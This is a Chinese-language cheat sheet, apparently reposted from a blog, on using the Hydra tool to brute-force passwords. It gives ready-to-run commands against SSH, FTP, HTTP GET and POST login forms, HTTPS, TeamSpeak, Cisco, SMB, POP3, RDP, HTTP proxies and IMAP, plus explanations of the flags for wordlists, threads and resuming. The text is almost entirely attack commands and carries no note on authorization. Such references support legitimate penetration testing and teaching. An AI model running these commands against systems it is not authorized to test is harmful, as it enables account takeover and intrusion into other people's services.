hydra基础

hydra 暴力破解工具,可爆破很多服务,例如开机用户名密码

1、破解ssh:

hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns ip ssh

hydra -l 用户名 -P 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns ip http-get /admin/

hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 10.36.16.18 http-post-form -o out.txt -f -t 3

“index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。

5、破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6、破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7、破解cisco:

hydra -P pass.txt 10.36.16.18 cisco

hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

9、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

10、破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

11、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

12、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

-R 根据上一次进度继续破解

-S 使用SSL协议连接

-s 指定端口

-l 指定用户名

-L 指定用户名字典(文件)

-p 指定密码破解

-P 指定密码字典(文件)

-e 空密码探测和指定用户密码探测(ns)

-e n 使用空密码

-e s 使用的密码和用户名一样

-e ns 上面两者的结合

-M FILE 指定目标列表文件一行一条。

-C 使用冒号分割格式(username:password)可以代替-l username -p password

-o 输出文件

-w TIME 设置最大超时的时间,单位秒,默认是30s

-t 指定多线程数量,默认为16个线程

-vV 显示详细过程

-f 当破解了一个密码就停止

---------------------

猜你喜欢

转载自www.cnblogs.com/BuFFERer/p/12273690.html